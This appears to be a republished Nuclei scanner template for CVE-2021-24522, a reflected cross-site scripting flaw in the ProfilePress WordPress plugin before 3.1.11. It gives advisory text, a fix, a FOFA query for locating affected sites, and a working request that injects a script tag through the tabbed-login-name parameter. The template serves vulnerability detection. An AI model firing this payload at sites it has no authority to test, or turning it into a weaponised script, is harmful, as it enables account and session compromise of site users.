The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
PoC代码[已公开]
id: CVE-2021-24522
info:
name: ProfilePress < 3.1.11 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
remediation: |
Update the ProfilePress plugin to version 3.1.11 or later.
reference:
- https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
- https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
- https://nvd.nist.gov/vuln/detail/CVE-2021-24522
classification:
cve-id: CVE-2021-24522
cwe-id: CWE-79
epss-score: 0.00525
epss-percentile: 0.66123
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
metadata:
max-request: 2
fofa-query: body="wp-content/plugins/wp-user-avatar"
tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'wp-user-avatar'
internal: true
- raw:
- |
GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- /
- /wp-login
- /wp-login.php
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c0be0e33ce9866780d6b2b6a1d1d3c00b63a62f9e61a1017a35bc422066bb1aa02201d6eb7d14675f48b5526cb75100240afeeb514ecca253461320e0fbb8577bb57:922c64590222798bb761d5b6d8e72950